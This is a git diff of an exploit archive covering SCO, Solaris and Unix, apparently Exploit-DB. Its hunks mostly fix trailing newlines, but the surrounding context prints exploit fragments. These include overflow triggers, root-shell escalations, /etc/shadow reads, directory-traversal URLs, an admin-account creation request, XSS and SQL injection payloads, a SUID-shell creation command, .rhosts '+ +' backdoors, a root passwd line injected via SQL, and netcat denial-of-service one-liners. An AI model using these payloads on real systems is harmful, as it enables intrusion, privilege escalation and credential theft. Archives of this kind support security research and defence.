/opt/K/SCO/Unix/5.0.6Ga/usr/lib/lpshut `perl -e 'print "A" x 7000'` -Memory fault - core dumped \ No newline at end of file +Memory fault - core dumped \ No newline at end of file diff --git a/platforms/sco/dos/20739.txt b/platforms/sco/dos/20739.txt index 116b1895c..4d2f81798 100755 --- a/platforms/sco/dos/20739.txt +++ b/platforms/sco/dos/20739.txt @@ -9,4 +9,4 @@ If properly exploited, this can yield root privilege to the attacker. /opt/K/SCO/Unix/5.0.6Ga/usr/lib/lpusers -u `perl -e 'print "A" x 700'` -Memory fault - core dumped \ No newline at end of file +Memory fault - core dumped \ No newline at end of file diff --git a/platforms/sco/dos/20742.txt b/platforms/sco/dos/20742.txt index 806cd3b0b..4441b3a61 100755 --- a/platforms/sco/dos/20742.txt +++ b/platforms/sco/dos/20742.txt @@ -10,4 +10,4 @@ If properly exploited, this can yield user 'bin' privileges to the attacker. /opt/K/SCO/Unix/5.0.6Ga/usr/bin/recon `perl -e 'print "A" x 3000'` -Memory fault - core dumped \ No newline at end of file +Memory fault - core dumped \ No newline at end of file diff --git a/platforms/sco/local/19362.c b/platforms/sco/local/19362.c index 8d0b89821..b3f71faa5 100755 --- a/platforms/sco/local/19362.c +++ b/platforms/sco/local/19362.c @@ -84,4 +84,4 @@ for(i=0;i<LEN;i++) putchar(buf[i]); exit(0); -} \ No newline at end of file +} \ No newline at end of file diff --git a/platforms/sco/local/19542.txt b/platforms/sco/local/19542.txt index 5ec249933..0cc344a7d 100755 --- a/platforms/sco/local/19542.txt +++ b/platforms/sco/local/19542.txt @@ -27,4 +27,4 @@ scohack:/# cat /etc/shadow.old SendConnectFail(connectFail {{SCO_LOCAL_PIPE_ERR_INVALID_CONNECT_REQ {Invalid Connect Request: bah}}}) -scohack:/# \ No newline at end of file +scohack:/# \ No newline at end of file diff --git a/platforms/sco/local/20851.txt b/platforms/sco/local/20851.txt index d08582c71..622cb5fbc 100755 --- a/platforms/sco/local/20851.txt +++ b/platforms/sco/local/20851.txt @@ -14,4 +14,4 @@ $ id uid=232(kevin) gid=101(supp) groups=101(supp),50(group) $ ./tellxdt3 /usr/bin/id *** Can't open message catalogue XDesktop3 -uid=0(root) gid=3(sys) groups=3(sys),1(other) \ No newline at end of file +uid=0(root) gid=3(sys) groups=3(sys),1(other) \ No newline at end of file diff --git a/platforms/sco/remote/20568.txt b/platforms/sco/remote/20568.txt index 59045bd57..e3223d5f7 100755 --- a/platforms/sco/remote/20568.txt +++ b/platforms/sco/remote/20568.txt @@ -4,4 +4,4 @@ view-source is a script included with the httpd package bundled with Skunkware 2 A problem with the view-source script could allow access to restricted files remotely. The problem occurs in the handling of slashes and dots when appended to the view-source script. By appending a series of double-dots and slashes to a query using the view-source script, it is possible to traverse the directory structure on a web server. By doing so, it is possible for to view the contents of directories, and files that are readable by the UID of the httpd process. This flaw makes it possible for a user with malicious motives to read files on a remote system and gather intelligence for an attack against the system, as well as other potentially sensitive information. -http://vulnerable.server/cgi-bin/view-source?../../../../../../../etc/passwd \ No newline at end of file +http://vulnerable.server/cgi-bin/view-source?../../../../../../../etc/passwd \ No newline at end of file diff --git a/platforms/solaris/dos/19042.txt b/platforms/solaris/dos/19042.txt index 5d58b3496..efc4528a0 100755 --- a/platforms/solaris/dos/19042.txt +++ b/platforms/solaris/dos/19042.txt @@ -19,4 +19,4 @@ $ set PATH=/tmp:$PATH $ export PATH $ /usr/bin/makeinstall $ /tmp/sh -# \ No newline at end of file +# \ No newline at end of file diff --git a/platforms/solaris/dos/19681.txt b/platforms/solaris/dos/19681.txt index 775325140..99114ee5b 100755 --- a/platforms/solaris/dos/19681.txt +++ b/platforms/solaris/dos/19681.txt @@ -7,4 +7,4 @@ Buffer Overflow Crash: echo `perl -e "print 'A' x 1000"` > /usr/home/btellier/my.mif dmi_cmd -CI ../../../usr/home/btellier/my.mif -(dmispd segfaults) \ No newline at end of file +(dmispd segfaults) \ No newline at end of file diff --git a/platforms/solaris/dos/34027.txt b/platforms/solaris/dos/34027.txt index 8d55965ea..76c2cd25b 100755 --- a/platforms/solaris/dos/34027.txt +++ b/platforms/solaris/dos/34027.txt @@ -6,4 +6,4 @@ Exploiting this issue allows local users to cause denial-of-service conditions i Sun Solaris 10 is affected, other versions may also be vulnerable. -perl -e '$a="X";for(1..8000){ ! -d $a and mkdir $a and chdir $a }' \ No newline at end of file +perl -e '$a="X";for(1..8000){ ! -d $a and mkdir $a and chdir $a }' \ No newline at end of file diff --git a/platforms/solaris/dos/34309.txt b/platforms/solaris/dos/34309.txt index d25d4ad13..6c162802d 100755 --- a/platforms/solaris/dos/34309.txt +++ b/platforms/solaris/dos/34309.txt @@ -9,4 +9,4 @@ The following products are affected: Solaris 10 OpenSolaris -/usr/bin/rdist -cDwh file_that_is_hardlink rlogin_host:LONG_STRING \ No newline at end of file +/usr/bin/rdist -cDwh file_that_is_hardlink rlogin_host:LONG_STRING \ No newline at end of file diff --git a/platforms/solaris/local/1092.c b/platforms/solaris/local/1092.c index 4888bdddd..dd5c3340f 100755 --- a/platforms/solaris/local/1092.c +++ b/platforms/solaris/local/1092.c @@ -1,4 +1,4 @@ -/* + /* ***************************************************************************************************************** $ An open security advisory #7 - SUN Solaris SO_REUSEADDR Local Socket Hijack Bug ***************************************************************************************************************** diff --git a/platforms/solaris/local/1360.c b/platforms/solaris/local/1360.c index d70dad00b..48d8d530f 100755 --- a/platforms/solaris/local/1360.c +++ b/platforms/solaris/local/1360.c @@ -1,4 +1,4 @@ -/* + /* ***************************************************************************************************************** $ An open security advisory #14 - Appfluent Database IDS Environment Variable Overflow ***************************************************************************************************************** diff --git a/platforms/solaris/local/19161.txt b/platforms/solaris/local/19161.txt index cb65101e2..011e46cf6 100755 --- a/platforms/solaris/local/19161.txt +++ b/platforms/solaris/local/19161.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/209/info The ping program is used to assess network connectivity between network devices. A denial of service condition exists in the ping program that may cause the system to panic by sending ping requests to a multicast address through the loopback interface. The system will ping itself; however, the incoming queue pointer is not yet initialized when the packet is received. Thus, the system will panic. -%ping -sv -i 127.0.0.1 224.0.0.1 \ No newline at end of file +%ping -sv -i 127.0.0.1 224.0.0.1 \ No newline at end of file diff --git a/platforms/solaris/local/19205.c b/platforms/solaris/local/19205.c index 3c256835a..57d18a8a8 100755 --- a/platforms/solaris/local/19205.c +++ b/platforms/solaris/local/19205.c @@ -7,7 +7,7 @@ This vulnerablity has been assigned Sun Bug# 4139394. The vulnerability is in th Before executing the ex_dtprintinfo exploit set your DISPLAY environment variable correctly, and make a dummy lpstat command like: % cat > lpstat -echo "system for lpprn: server" +echo "system for lpprn: server.com" ^D % chmod 755 lpstat % setenv PATH .:$PATH diff --git a/platforms/solaris/local/19232.txt b/platforms/solaris/local/19232.txt index 23b270690..dfc4e0f40 100755 --- a/platforms/solaris/local/19232.txt +++ b/platforms/solaris/local/19232.txt @@ -3,4 +3,4 @@ source: http://www.securityfocus.com/bid/291/info The version of arp(8c) which shipped with versions of SunOs 4.1.X could be used to dump system memory by using the -f flag. This flag causes the file filename to be read and multiple entries to be set in the ARP tables. However, in this instance because of poor permission sets on /dev/kmem a user can specify the file to be read as /dev/kmem and therefore gain a dump of currently paged system memory. This could lead to a root compromise. -$ arp -f /dev/kmem | strings > mem \ No newline at end of file +$ arp -f /dev/kmem | strings > mem \ No newline at end of file diff --git a/platforms/solaris/local/19233.txt b/platforms/solaris/local/19233.txt index f7937a4ed..aae4c3089 100755 --- a/platforms/solaris/local/19233.txt +++ b/platforms/solaris/local/19233.txt @@ -5,4 +5,4 @@ Aspppd is a tool shipped with Solaris for dial up PPP access. This tool creates $ echo "+ +" >> .rhosts $ ln -s /.rhosts /tmp/.asppp.fifo -Wait for asppd to be excecuted. \ No newline at end of file +Wait for asppd to be excecuted. \ No newline at end of file diff --git a/platforms/solaris/local/19234.c b/platforms/solaris/local/19234.c index 486b91f0c..0640d4085 100755 --- a/platforms/solaris/local/19234.c +++ b/platforms/solaris/local/19234.c @@ -114,4 +114,4 @@ execl("/usr/bin/cancel", "cancel", egg, NULL); printf("exec failed!\n"); return; -} \ No newline at end of file +} \ No newline at end of file diff --git a/platforms/solaris/local/19258.sh b/platforms/solaris/local/19258.sh index dbe49d107..2da766f98 100755 --- a/platforms/solaris/local/19258.sh +++ b/platforms/solaris/local/19258.sh @@ -127,4 +127,4 @@ rm -rf /tmp/.bk " | /tmp/bob echo "everything should be cool.. i think :>" -/tmp/bob \ No newline at end of file +/tmp/bob \ No newline at end of file diff --git a/platforms/solaris/local/19326.txt b/platforms/solaris/local/19326.txt index 5e43533f9..f65b2c41c 100755 --- a/platforms/solaris/local/19326.txt +++ b/platforms/solaris/local/19326.txt @@ -8,4 +8,4 @@ This is due to a bug in the Solaris 7 procfs. %more /proc/self/psinfo -[crash] \ No newline at end of file +[crash] \ No newline at end of file diff --git a/platforms/solaris/local/19343.c b/platforms/solaris/local/19343.c index 401f3454e..0fa4b4fbd 100755 --- a/platforms/solaris/local/19343.c +++ b/platforms/solaris/local/19343.c @@ -27,4 +27,4 @@ please_break_me.ifr_flags=0; if(ioctl(0, SIOCSIFFLAGS, &please_break_me)==-1) perror("Damn it didnt work. Obviously not Solaris ;)"); -} \ No newline at end of file +} \ No newline at end of file diff --git a/platforms/solaris/local/19350.sh b/platforms/solaris/local/19350.sh index 091bd4dda..05a9563d1 100755 --- a/platforms/solaris/local/19350.sh +++ b/platforms/solaris/local/19350.sh @@ -31,4 +31,4 @@ rm /tmp/locksuntechd ln -s ~targetuser/.rhosts /tmp/locksuntechd exit ------ -then wait a min and cat + + >> ~targetuser/.rhosts \ No newline at end of file +then wait a min and cat + + >> ~targetuser/.rhosts \ No newline at end of file diff --git a/platforms/solaris/local/19647.c b/platforms/solaris/local/19647.c index f3a332e61..a28a8ddd5 100755 --- a/platforms/solaris/local/19647.c +++ b/platforms/solaris/local/19647.c @@ -64,4 +64,4 @@ buf[MAXBUF-1]=0; putenv(buf); execl("/usr/openwin/bin/kcms_configure","kcms_configure","1",0); -} \ No newline at end of file +} \ No newline at end of file diff --git a/platforms/solaris/local/19757.txt b/platforms/solaris/local/19757.txt index c782de23a..d9eb61f5f 100755 --- a/platforms/solaris/local/19757.txt +++ b/platforms/solaris/local/19757.txt @@ -4,4 +4,4 @@ A vulnerability exists in the installation of licenses for Sun's WorkShop 5.0 co Lit is not part of Globetrotter's FlexLM distribution. It is a license installation tool supplied by Sun for convenience purposes. This vulnerability does not represent a vulnerability in lmgrd, but a flaw in the license installation process. Running lmgrd as a user other than root, while a good idea, will not eliminate this problem. -ln -sf /.rhost /var/tmp/license_errors \ No newline at end of file +ln -sf /.rhost /var/tmp/license_errors \ No newline at end of file diff --git a/platforms/solaris/local/19872.c b/platforms/solaris/local/19872.c index 7ba2ee457..2f8988612 100755 --- a/platforms/solaris/local/19872.c +++ b/platforms/solaris/local/19872.c @@ -66,4 +66,4 @@ if (argc > 3) nop = strtol(argv[2], NULL, 0); printf("addr = 0x%x\n", addr); execl("/usr/bin/lpset", "lpset", "-n", "fns", "-r", buffer,"digit", NULL); -} \ No newline at end of file +} \ No newline at end of file diff --git a/platforms/solaris/local/19876.c b/platforms/solaris/local/19876.c index 799067a36..80bd1d75e 100755 --- a/platforms/solaris/local/19876.c +++ b/platforms/solaris/local/19876.c @@ -50,4 +50,4 @@ int main(int argc, char *argv[]) { execl("/usr/openwin/bin/Xsun", "Xsun", "-dev", buff, NULL); -} \ No newline at end of file +} \ No newline at end of file diff --git a/platforms/solaris/local/19910.c b/platforms/solaris/local/19910.c index 183231a49..d5e359867 100755 --- a/platforms/solaris/local/19910.c +++ b/platforms/solaris/local/19910.c @@ -146,4 +146,4 @@ main(int argc, char *argv[]) "/etc/passwd", NULL, NULL); fprintf(stderr, "unable to exec netpr: %s\n", strerror(errno)); exit(1); -} \ No newline at end of file +} \ No newline at end of file diff --git a/platforms/solaris/local/19911.c b/platforms/solaris/local/19911.c index 9a147a70a..64d650df9 100755 --- a/platforms/solaris/local/19911.c +++ b/platforms/solaris/local/19911.c @@ -192,4 +192,4 @@ main(int argc, char *argv[]) printf("exploit successful; /tmp/ksh is now SUID root, dewd!\n"); exit(0); } -} \ No newline at end of file +} \ No newline at end of file diff --git a/platforms/solaris/local/20003.txt b/platforms/solaris/local/20003.txt index 5ad0a29db..5115a4434 100755 --- a/platforms/solaris/local/20003.txt +++ b/platforms/solaris/local/20003.txt @@ -4,4 +4,4 @@ The Shiva Access Manager is a solution for centralized remote access authenticat cat $SHIVA_HOME_DIR/insnmgmt/shiva_access_manager/radtac.ini -(proceed then to do whatever LDAP attacks you like) \ No newline at end of file +(proceed then to do whatever LDAP attacks you like) \ No newline at end of file diff --git a/platforms/solaris/local/20018.txt b/platforms/solaris/local/20018.txt index bccd72de1..b4e7af61c 100755 --- a/platforms/solaris/local/20018.txt +++ b/platforms/solaris/local/20018.txt @@ -41,4 +41,4 @@ drwxr-xr-x 26 root sys 512 Jun 8 09:51 .. foo@bar> /var/tmp/ksh # id uid=500(foo) gid=25(programmers) euid=0(root) -# \ No newline at end of file +# \ No newline at end of file diff --git a/platforms/solaris/local/20751.txt b/platforms/solaris/local/20751.txt index 4648199e3..c08181124 100755 --- a/platforms/solaris/local/20751.txt +++ b/platforms/solaris/local/20751.txt @@ -16,4 +16,4 @@ $ /usr/bin/ipcs Solaris x86: $ TZ=`perl -e 'print "A"x1035'` -$ /usr/bin/i86/ipcs \ No newline at end of file +$ /usr/bin/i86/ipcs \ No newline at end of file diff --git a/platforms/solaris/local/20945.txt b/platforms/solaris/local/20945.txt index 12018e54e..51823f3be 100755 --- a/platforms/solaris/local/20945.txt +++ b/platforms/solaris/local/20945.txt @@ -29,4 +29,4 @@ Incurred fault #6, FLTBOUNDS %pc = 0xFF139FF0 siginfo: SIGSEGV SEGV_MAPERR addr=0x41414141 Received signal #11, SIGSEGV [default] siginfo: SIGSEGV SEGV_MAPERR addr=0x41414141 -*** process killed *** \ No newline at end of file +*** process killed *** \ No newline at end of file diff --git a/platforms/solaris/local/25703.txt b/platforms/solaris/local/25703.txt index ce089bcee..1b34aa1a0 100755 --- a/platforms/solaris/local/25703.txt +++ b/platforms/solaris/local/25703.txt @@ -7,4 +7,4 @@ Successful exploitation could result in a compromise of the application, disclos All versions are considered to be vulnerable at the moment. Uername =admin -Password= ' or ''=' \ No newline at end of file +Password= ' or ''=' \ No newline at end of file diff --git a/platforms/solaris/local/30021.txt b/platforms/solaris/local/30021.txt index 0e981cd0d..10f3ff972 100755 --- a/platforms/solaris/local/30021.txt +++ b/platforms/solaris/local/30021.txt @@ -5,4 +5,4 @@ Sun Microsystems Solaris is prone to a local information-disclosure vulnerabilit A local attacker may exploit this issue to access sensitive information, including superuser password information, that may lead to further attacks. A complete compromise is possible. The following exploit example is available: -$ /opt/SUNWsrspx/bin/srsexec -dvb /etc/shadow OWNED \ No newline at end of file +$ /opt/SUNWsrspx/bin/srsexec -dvb /etc/shadow OWNED \ No newline at end of file diff --git a/platforms/solaris/remote/19044.txt b/platforms/solaris/remote/19044.txt index e69ce9514..cdc84162e 100755 --- a/platforms/solaris/remote/19044.txt +++ b/platforms/solaris/remote/19044.txt @@ -16,4 +16,4 @@ $ mkdir /tmp/mylib $ cp libevil.so /tmp/mylib $ export LD_LIBRARY_PATH=/tmp/mylib $ /bin/login -# \ No newline at end of file +# \ No newline at end of file diff --git a/platforms/solaris/remote/19507.txt b/platforms/solaris/remote/19507.txt index d67752f78..cf64337e2 100755 --- a/platforms/solaris/remote/19507.txt +++ b/platforms/solaris/remote/19507.txt @@ -4,4 +4,4 @@ A vulnerability in Solaris TCP/IP stack may allow remote users to panic the syst If the nmap network mapping utility is used with the OS fingerprinting option ('-O') against an active listening port and the server listening on that port is then killed the system will panic because of recursive calls to mutex_enter within the TCP streams driver. -$nmap -O -p 80 targethost.com \ No newline at end of file +$nmap -O -p 80 targethost.com \ No newline at end of file diff --git a/platforms/solaris/remote/20144.txt b/platforms/solaris/remote/20144.txt index 44f55c66c..6c63849fa 100755 --- a/platforms/solaris/remote/20144.txt +++ b/platforms/solaris/remote/20144.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/1554/info A lack of authentication checks for certain scripts within the administration interface of AnswerBook2 versions 1.4.2 and prior, for Solaris, allows remote users to create administration accounts. By directly accessing the /cgi-bin/admin/admin script present under the AnswerBook2 dwhttpd web server, it is possible to add users to the administration interface. This will allow the attacker to read log files and manage content. -http://www.example.com:8888/cgi-bin/admin/admin?command=add_user&uid=percebe&password=percebe&re_password=percebe" \ No newline at end of file +http://www.example.com:8888/cgi-bin/admin/admin?command=add_user&uid=percebe&password=percebe&re_password=percebe" \ No newline at end of file diff --git a/platforms/solaris/remote/20745.txt b/platforms/solaris/remote/20745.txt index 8f7b92f6b..f612e8f2e 100755 --- a/platforms/solaris/remote/20745.txt +++ b/platforms/solaris/remote/20745.txt @@ -12,4 +12,4 @@ cwd ~netadm 530 Please login with USER and PASS. cwd ~xyz 530 Please login with USER and PASS. -550 Unknown user name after ~ \ No newline at end of file +550 Unknown user name after ~ \ No newline at end of file diff --git a/platforms/solaris/remote/20764.txt b/platforms/solaris/remote/20764.txt index aca3413ce..5a742a138 100755 --- a/platforms/solaris/remote/20764.txt +++ b/platforms/solaris/remote/20764.txt @@ -25,4 +25,4 @@ Connection closed by foreign host. lp:NP:6445:::::: P:64 eH:::: -uucp:NP:6445::: \ No newline at end of file +uucp:NP:6445::: \ No newline at end of file diff --git a/platforms/solaris/remote/23272.txt b/platforms/solaris/remote/23272.txt index 698fb007c..fbb559d9f 100755 --- a/platforms/solaris/remote/23272.txt +++ b/platforms/solaris/remote/23272.txt @@ -7,4 +7,4 @@ http://www.example.com:898/../../../../../.rhosts http://www.example.com:898/../../../../../.ssh http://www.example.com:898/../../../../../var/yp -These examples were return different error messages based on whether the requested resource exists or not. \ No newline at end of file +These examples were return different error messages based on whether the requested resource exists or not. \ No newline at end of file diff --git a/platforms/solaris/remote/23605.txt b/platforms/solaris/remote/23605.txt index 09958021f..d8bd93f6b 100755 --- a/platforms/solaris/remote/23605.txt +++ b/platforms/solaris/remote/23605.txt @@ -4,4 +4,4 @@ Cherokee has been reported to contain a cross-site scripting vulnerability via e An attacker can exploit this issue by crafting a URI link containing the malevolent HTML or script code, and enticing a user to follow it. The attacker-supplied code may be rendered in the web browser of a user who follows the malicious link. Exploitation of this issue may allow for theft of cookie-based authentication credentials or other attacks. -http://www.example.com/<script>alert(document.cookie)</script> \ No newline at end of file +http://www.example.com/<script>alert(document.cookie)</script> \ No newline at end of file diff --git a/platforms/solaris/remote/5366.rb b/platforms/solaris/remote/5366.rb index a842f0bb9..e8b775936 100755 --- a/platforms/solaris/remote/5366.rb +++ b/platforms/solaris/remote/5366.rb @@ -1,4 +1,4 @@ -____ ____ __ __ + ____ ____ __ __ / \ / \ | | | | ----====####/ /\__\##/ /\ \##| |##| |####====---- | | | |__| | | | | | diff --git a/platforms/system_z/shellcode/38075.txt b/platforms/system_z/shellcode/38075.txt index 43303eb87..f492e40ee 100755 --- a/platforms/system_z/shellcode/38075.txt +++ b/platforms/system_z/shellcode/38075.txt @@ -1,4 +1,4 @@ -TITLE 'sb_shellcode.s x + TITLE 'sb_shellcode.s x Author: Bigendian Smalls' ACONTROL AFPR SBSHELL CSECT diff --git a/platforms/ultrix/dos/19817.txt b/platforms/ultrix/dos/19817.txt index 31b4cfb72..1c1666b44 100755 --- a/platforms/ultrix/dos/19817.txt +++ b/platforms/ultrix/dos/19817.txt @@ -4,4 +4,4 @@ A Denial of service (DoS) attack is possible with the default version of inetd d nmap -O -p 21 <target> or -nmap -v -O -sS -p1-1023 <target> \ No newline at end of file +nmap -v -O -sS -p1-1023 <target> \ No newline at end of file diff --git a/platforms/unix/dos/21236.txt b/platforms/unix/dos/21236.txt index 7ac2c55da..8fde2e6c1 100755 --- a/platforms/unix/dos/21236.txt +++ b/platforms/unix/dos/21236.txt @@ -6,4 +6,4 @@ There is a lack of sufficient bounds checking in DNS request and reply functions It is not known whether it is possible to execute arbitrary attacker-supplied instructions as a result of this vulnerability. -dd if=/dev/urandom bs=64 count=1 | nc -u 127.0.0.1 53 -w 1 \ No newline at end of file +dd if=/dev/urandom bs=64 count=1 | nc -u 127.0.0.1 53 -w 1 \ No newline at end of file diff --git a/platforms/unix/dos/21345.txt b/platforms/unix/dos/21345.txt index 0fc8c56d4..e85b22a33 100755 --- a/platforms/unix/dos/21345.txt +++ b/platforms/unix/dos/21345.txt @@ -4,4 +4,4 @@ Qualcomm's QPopper is a POP3 mail server for Linux and Unix based systems. Recen A vulnerability has been reported in some versions of qpopper. Reportedly, if a string of longer than approximately 2048 characters is sent to the qpopper process, a denial of service condition will occur. -perl -e '{print "A"x"2049"}' | netcat host.com 110 \ No newline at end of file +perl -e '{print "A"x"2049"}' | netcat host.com 110 \ No newline at end of file diff --git a/platforms/unix/dos/21531.txt b/platforms/unix/dos/21531.txt index 57f106ff2..2c50f5c54 100755 --- a/platforms/unix/dos/21531.txt +++ b/platforms/unix/dos/21531.txt @@ -4,4 +4,4 @@ OpenServer is commercial Unix operating system originally developed by SCO, and It may be possible for a local user to gain elevated privileges. When Xsco is executed, and an excessively long argument is supplied to the -co flag, a heap overflow occurs. This problem could allow a local user to supply a maliciously formatted string with the -co option that could result in the execution of arbitrary code, and elevated privileges. -./Xsco :1 -co `perl -e 'print "A" x 9000'` \ No newline at end of file +./Xsco :1 -co `perl -e 'print "A" x 9000'` \ No newline at end of file diff --git a/platforms/unix/dos/21949.txt b/platforms/unix/dos/21949.txt index 9e179a18e..ba8207da7 100755 --- a/platforms/unix/dos/21949.txt +++ b/platforms/unix/dos/21949.txt @@ -4,4 +4,4 @@ A vulnerability has been reported in the Caching Proxy component bundled with IB An attacker can exploit this vulnerability by sending a malformed HTTP request to the Caching Proxy. When the service attempts to process the request the service will crash thereby causing the denial of service. -GET /cgi-bin/helpout.exe HTTP \ No newline at end of file +GET /cgi-bin/helpout.exe HTTP \ No newline at end of file diff --git a/platforms/unix/dos/22287.html b/platforms/unix/dos/22287.html index 9d00121f0..c24868a9e 100755 --- a/platforms/unix/dos/22287.html +++ b/platforms/unix/dos/22287.html @@ -26,4 +26,4 @@ MM/DD/YYYY - <input type=text name=dt> <input type=submit> </form> </body> -</html> \ No newline at end of file +</html> \ No newline at end of file diff --git a/platforms/unix/dos/24243.txt b/platforms/unix/dos/24243.txt index c264c318d..25f9b426f 100755 --- a/platforms/unix/dos/24243.txt +++ b/platforms/unix/dos/24243.txt @@ -16,4 +16,4 @@ ygAAABIBAwABAAAAAQAAABoBBQABAAAA2AAAABsBBQABAAAA4AAAACgBAwABAAAAAgAAADEB AgAJAAAA6AAAADIBAgAUAAAACAEAABMCAwABAAAAAgAAAGmHBAABAAAAHAEAAAADAABPTFlN [Add here some megabytes of data. 1kB is not enough, but 12MB was sufficient in all my tests] ---- snip here; do not pste this line --- \ No newline at end of file +--- snip here; do not pste this line --- \ No newline at end of file diff --git a/platforms/unix/dos/24248.txt b/platforms/unix/dos/24248.txt index acaa59855..dc44976d8 100755 --- a/platforms/unix/dos/24248.txt +++ b/platforms/unix/dos/24248.txt @@ -8,4 +8,4 @@ A remote attacker reportedly is able to cause a denial of service condition with IBM has released a patch dealing with this issue. This patch is available only to customers with support levels 2 or 3. -echo ?GET? | nc www.example.com <proxy_port> \ No newline at end of file +echo ?GET? | nc www.example.com <proxy_port> \ No newline at end of file diff --git a/platforms/unix/dos/24275.txt b/platforms/unix/dos/24275.txt index 9fb4d9d34..225eab432 100755 --- a/platforms/unix/dos/24275.txt +++ b/platforms/unix/dos/24275.txt @@ -14,4 +14,4 @@ getAppletContext().showDocument("http://www.attacker.tld/ie-exploits.html"); } Stack-based buffer overflow: -<applet codebase="A:AAAAAAAAAAAAAAA( repeat 520 A's )AAAAAA" code="java.applet.Applet" width=100 height=100></applet> \ No newline at end of file +<applet codebase="A:AAAAAAAAAAAAAAA( repeat 520 A's )AAAAAA" code="java.applet.Applet" width=100 height=100></applet> \ No newline at end of file diff --git a/platforms/unix/dos/25353.txt b/platforms/unix/dos/25353.txt index e0faade0c..673f55250 100755 --- a/platforms/unix/dos/25353.txt +++ b/platforms/unix/dos/25353.txt @@ -9,4 +9,4 @@ An attacker may leverage this issue to crash the nHTTP.EXE web service, denying GET /cgi-bin/[xxx] HTTP/1.0 Host: 10.10.0.100 -Where [xxx] represents a long string (~330) of UNICODE decimal value 430 characters. \ No newline at end of file +Where [xxx] represents a long string (~330) of UNICODE decimal value 430 characters. \ No newline at end of file diff --git a/platforms/unix/dos/31403.txt b/platforms/unix/dos/31403.txt index d290fedec..2f2e5c507 100755 --- a/platforms/unix/dos/31403.txt +++ b/platforms/unix/dos/31403.txt @@ -6,4 +6,4 @@ An attacker can exploit this issue to cause the affected application to stop res echo "vfs.file.cksum[/dev/urandom]" | nc localhost echo "vfs.file.cksum[/dev/urandom]" | nc localhost -echo "vfs.file.cksum[/dev/urandom]" | nc localhost \ No newline at end of file +echo "vfs.file.cksum[/dev/urandom]" | nc localhost \ No newline at end of file diff --git a/platforms/unix/dos/32454.xml b/platforms/unix/dos/32454.xml index 66fdfb13d..36022d1b6 100755 --- a/platforms/unix/dos/32454.xml +++ b/platforms/unix/dos/32454.xml @@ -12,4 +12,4 @@ XML file: <!DOCTYPE test [ <!ENTITY ampproblem '&amp;'> ]> -<t a="&ampproblem;">a</t> \ No newline at end of file +<t a="&ampproblem;">a</t> \ No newline at end of file diff --git a/platforms/unix/dos/32534.py b/platforms/unix/dos/32534.py index 0a712eb37..8a4276a9e 100755 --- a/platforms/unix/dos/32534.py +++ b/platforms/unix/dos/32534.py @@ -8,4 +8,4 @@ These issues affect versions prior to Python 2.5.2-r6. import imageop s = '' -imageop.crop(s, 1, 65536, 65536, 0, 0, 65536, 65536) \ No newline at end of file +imageop.crop(s, 1, 65536, 65536, 0, 0, 65536, 65536) \ No newline at end of file diff --git a/platforms/unix/dos/34145.txt b/platforms/unix/dos/34145.txt index 6fb4fd36d..3d4c8727c 100755 --- a/platforms/unix/dos/34145.txt +++ b/platforms/unix/dos/34145.txt @@ -4,4 +4,4 @@ The 'audioop' module for Python is prone to a memory-corruption vulnerability. An attacker can exploit this issue to execute arbitrary code within the context of the affected application. Failed exploit attempts will result in a denial-of-service condition. - $ python -c "import audioop; audioop.reverse('X', 2)" \ No newline at end of file + $ python -c "import audioop; audioop.reverse('X', 2)" \ No newline at end of file diff --git a/platforms/unix/local/19823.txt b/platforms/unix/local/19823.txt index ae96c6906..b303ac0db 100755 --- a/platforms/unix/local/19823.txt +++ b/platforms/unix/local/19823.txt @@ -14,4 +14,4 @@ Hit 'v' to bring up the file in vi :set shell=/bin/bash <RETURN> :shell <RETURN> -In addition, many RedHat 5.1 exploits should allow for the compromise of these machines. \ No newline at end of file +In addition, many RedHat 5.1 exploits should allow for the compromise of these machines. \ No newline at end of file diff --git a/platforms/unix/local/20107.txt b/platforms/unix/local/20107.txt index 08b1fc161..cf8a93669 100755 --- a/platforms/unix/local/20107.txt +++ b/platforms/unix/local/20107.txt @@ -41,4 +41,4 @@ cvs checkout: cannot open CVS/Entries.Log: No such file or directory % ls -l /tmp/foo -rw-r--r-- 1 akr wheel 4 Jul 19 22:01 /tmp/foo % cat /tmp/foo -abc \ No newline at end of file +abc \ No newline at end of file diff --git a/platforms/unix/local/20108.txt b/platforms/unix/local/20108.txt index 56eb0c4ac..9d31f0a14 100755 --- a/platforms/unix/local/20108.txt +++ b/platforms/unix/local/20108.txt @@ -23,4 +23,4 @@ done cvs server: Executing ''./binary' '/tmp/cvs/somemodule'' #cvs.lock #cvs.wfl.serein.m17n.org.14330 -binary,v \ No newline at end of file +binary,v \ No newline at end of file diff --git a/platforms/unix/local/20212.c b/platforms/unix/local/20212.c index 39622761f..c105a546e 100755 --- a/platforms/unix/local/20212.c +++ b/platforms/unix/local/20212.c @@ -119,3 +119,4 @@ non-FreeBSD platforms. Patch: + outputname=$(mktemp "${TMPDIR:-/tmp}/$file.XXXXXX") || exit $? # Replace the output file specification. relink_command=`$echo "X$relink_command" | $Xsed -e 's%@OUTPUT@%'"$outputname"'%g'` + \ No newline at end of file diff --git a/platforms/unix/local/20621.txt b/platforms/unix/local/20621.txt index e4e0ab1e3..f9bcb8f8a 100755 --- a/platforms/unix/local/20621.txt +++ b/platforms/unix/local/20621.txt @@ -15,4 +15,4 @@ $ cat >> /var/mfaslmf/nolicense [wait until the application server licenses are used up] $ /tmp/ksh -# \ No newline at end of file +# \ No newline at end of file diff --git a/platforms/unix/local/20658.txt b/platforms/unix/local/20658.txt index 7877fb7e0..2f88ddf3c 100755 --- a/platforms/unix/local/20658.txt +++ b/platforms/unix/local/20658.txt @@ -11,4 +11,4 @@ Copying the /usr/local/lib/joerc file to a world writable directory, the followi :def spellfile filt,"cat >ispell.tmp;ispell ispell.tmp </dev/tty>/dev/tty;cat ispell.tmp;/bin/rm ispell.tmp;cp /bin/zsh /tmp/suid; chmod 4755 /tmp/suid",rtn,retype -This will bind the creation of a SUID shell in the /tmp directory to the keys ^[l. This exploit will allow the attacker to assume the identity of the user of joe. \ No newline at end of file +This will bind the creation of a SUID shell in the /tmp directory to the keys ^[l. This exploit will allow the attacker to assume the identity of the user of joe. \ No newline at end of file diff --git a/platforms/unix/local/20718.txt b/platforms/unix/local/20718.txt index 187cda5f0..a670982b5 100755 --- a/platforms/unix/local/20718.txt +++ b/platforms/unix/local/20718.txt @@ -15,4 +15,4 @@ create table make_me_r00t(qqq varchar(255)); insert into gotcha values('\nr00t::0:0:Hacked_Fucked_R00T:/:/bin/sh\n'); insert into make_me_r00t 